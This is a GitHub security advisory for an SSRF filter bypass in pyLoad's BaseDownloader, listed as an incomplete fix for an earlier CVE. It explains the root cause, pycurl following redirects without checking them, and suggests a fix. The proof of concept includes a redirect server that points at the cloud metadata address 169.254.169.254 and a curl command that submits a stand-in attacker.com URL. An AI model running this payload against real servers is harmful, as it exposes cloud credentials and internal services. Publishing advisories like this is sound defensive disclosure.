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pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)

Critical severity GitHub Reviewed Published Apr 2, 2026 in pyload/pyload • Updated Apr 4, 2026

Package

pip pyload-ng (pip)

Affected versions

<= 0.5.0b3.dev96

Patched versions

None

Description

Summary

The fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.

An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.

Root Cause

The SSRF check at src/pyload/plugins/base/downloader.py:335-341 validates only the initial URL:

dl_hostname = urllib.parse.urlparse(dl_url).hostname
if is_ip_address(dl_hostname) and not is_global_address(dl_hostname):
    self.fail(...)
else:
    for ip in host_to_ip(dl_hostname):
        if not is_global_address(ip):
            self.fail(...)

After the check passes, _download() is called. pycurl is configured at src/pyload/core/network/http/http_request.py:114-115 to follow redirects:

self.c.setopt(pycurl.FOLLOWLOCATION, 1)
self.c.setopt(pycurl.MAXREDIRS, 10)

No CURLOPT_REDIR_PROTOCOLS restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.

PoC

Redirect server (attacker-controlled):

from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", "http://169.254.169.254/metadata/v1.json")
        self.end_headers()

HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()

Submit to pyload (requires ADD permission):

curl -b cookies.txt -X POST 'http://target:8000/json/add_package' \
  -d 'add_name=ssrf-test&add_dest=1&add_links=http://attacker.com:8888/redirect'

The SSRF check resolves attacker.com to a public IP and passes. pycurl follows the 302 redirect to http://169.254.169.254/metadata/v1.json without validation. Cloud metadata is downloaded and saved to the storage folder.

Impact

An authenticated user with ADD permission can access:

  • Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure — including IAM credentials and instance identity
  • Internal network services (10.x, 172.16.x, 192.168.x)
  • Localhost services (127.0.0.1)

This is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.

Suggested Fix

Disable automatic redirect following and validate each redirect target:

# In HTTPRequest.__init__():
self.c.setopt(pycurl.FOLLOWLOCATION, 0)

Then implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:

self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)

And add a pycurl callback to validate redirect destination IPs before following.

Resources

References

@GammaC0de GammaC0de published to pyload/pyload Apr 2, 2026
Published to the GitHub Advisory Database Apr 4, 2026
Reviewed Apr 4, 2026
Last updated Apr 4, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

EPSS score

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-35459

GHSA ID

GHSA-7gvf-3w72-p2pg

Source code

Credits

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